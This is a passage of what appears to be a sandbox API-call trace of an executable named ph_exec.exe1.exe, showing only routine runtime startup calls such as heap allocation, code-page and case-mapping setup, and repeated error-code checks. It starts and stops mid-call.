Size=0x214) returned 0x23a05a8 [0141.612] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0141.612] GetCurrentThreadId () returned 0xe38 [0141.612] GetStartupInfoW (in: lpStartupInfo=0x55fe00 | out: lpStartupInfo=0x55fe00*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc471aa, hStdOutput=0xc474e3, hStdError=0x23a05a8)) [0141.612] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x800) returned 0x23a07c8 [0141.612] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0141.612] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0141.612] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0141.612] SetHandleCount (uNumber=0x20) returned 0x20 [0141.612] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe\" " [0141.612] GetEnvironmentStringsW () returned 0x81f958* [0141.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410 [0141.613] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x582) returned 0x23a0fd0 [0141.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x23a0fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410 [0141.613] FreeEnvironmentStringsW (penv=0x81f958) returned 1 [0141.613] GetLastError () returned 0xcb [0141.613] SetLastError (dwErrCode=0xcb) [0141.613] GetLastError () returned 0xcb [0141.613] SetLastError (dwErrCode=0xcb) [0141.613] GetLastError () returned 0xcb [0141.613] SetLastError (dwErrCode=0xcb) [0141.613] GetACP () returned 0x4e4 [0141.613] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x220) returned 0x23a1560 [0141.613] GetLastError () returned 0xcb [0141.613] SetLastError (dwErrCode=0xcb) [0141.613] IsValidCodePage (CodePage=0x4e4) returned 1 [0141.613] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x55fdc8 | out: lpCPInfo=0x55fdc8) returned 1 [0141.614] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x55f894 | out: lpCPInfo=0x55f894) returned 1 [0141.614] GetLastError () returned 0xcb [0141.614] SetLastError (dwErrCode=0xcb) [0141.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x55fca8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0141.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x55fca8, cbMultiByte=256, lpWideCharStr=0x55f618, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0141.614] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x55f8a8 | out: lpCharType=0x55f8a8) returned 1 [0141.614] GetLastError () returned 0xcb [0141.614] SetLastError (dwErrCode=0xcb) [0141.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x55fca8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0141.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x55fca8, cbMultiByte=256, lpWideCharStr=0x55f5d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0141.614] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0141.614] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x55f3c8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0141.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x55fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xed\x69\x4f\xa7\xe0\xfd\x55", lpUsedDefaultChar=0x0) returned 256 [0141.614] GetLastError () returned 0xcb [0141.614] SetLastError (dwErrCode=0xcb) [0141.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x55fca8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0141.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x55fca8, cbMultiByte=256, lpWideCharStr=0x55f5f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0141.614] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0141.614] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x55f3e8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0141.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x55faa8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xed\x69\x4f\xa7\xe0\xfd\x55", lpUsedDefaultChar=0x0) returned 256 [0141.614] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xc4f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0141.614] GetLastError () returned 0x0 [0141.614] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.615] SetLastError (dwErrCode=0x0) [0141.615] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.616] GetLastError () returned 0x0 [0141.616] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.617] SetLastError (dwErrCode=0x0) [0141.617] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.618] GetLastError () returned 0x0 [0141.618] SetLastError (dwErrCode=0x0) [0141.619] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x37) returned 0x23a1788 [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError 